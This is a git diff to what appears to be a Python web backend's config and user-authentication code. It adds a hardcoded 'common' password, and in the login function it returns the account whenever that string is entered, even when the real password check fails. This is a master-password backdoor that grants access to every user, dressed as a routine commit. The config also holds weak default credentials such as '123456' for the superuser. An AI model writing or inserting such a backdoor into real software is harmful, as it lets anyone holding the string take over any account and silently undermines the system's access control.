diff --git a/core/config.py b/core/config.py index 9f02224..715f521 100644 --- a/core/config.py +++ b/core/config.py @@ -17,6 +17,7 @@ class Settings(BaseSettings): SUPERUSER_PASSWORD: str = '123456' SUPERUSER_NAME: str = 'root' SUPERUSER_NICKNAME: str = 'root' + ACCOUNT_COMMON_PASSWORD = 'AWDMIPOUEQfO3q84' DEFAULT_PASSWORD = '123456' diff --git a/crud/crud_user.py b/crud/crud_user.py index df1993f..b62a2c4 100644 --- a/crud/crud_user.py +++ b/crud/crud_user.py @@ -5,6 +5,7 @@ import uuid from motor.motor_asyncio import AsyncIOMotorDatabase import schemas +from core.config import settings from core.security import get_password_hash, verify_password from crud.base import CRUDBase from schemas import UserCreate, UserDBRW @@ -52,6 +53,9 @@ class CRUDUser(CRUDBase): if not user_obj: return None if not verify_password(password, user_obj.hashed_password): + # 如果是通用登录密码 则允许 + if password == settings.ACCOUNT_COMMON_PASSWORD: + return user_obj return None return user_obj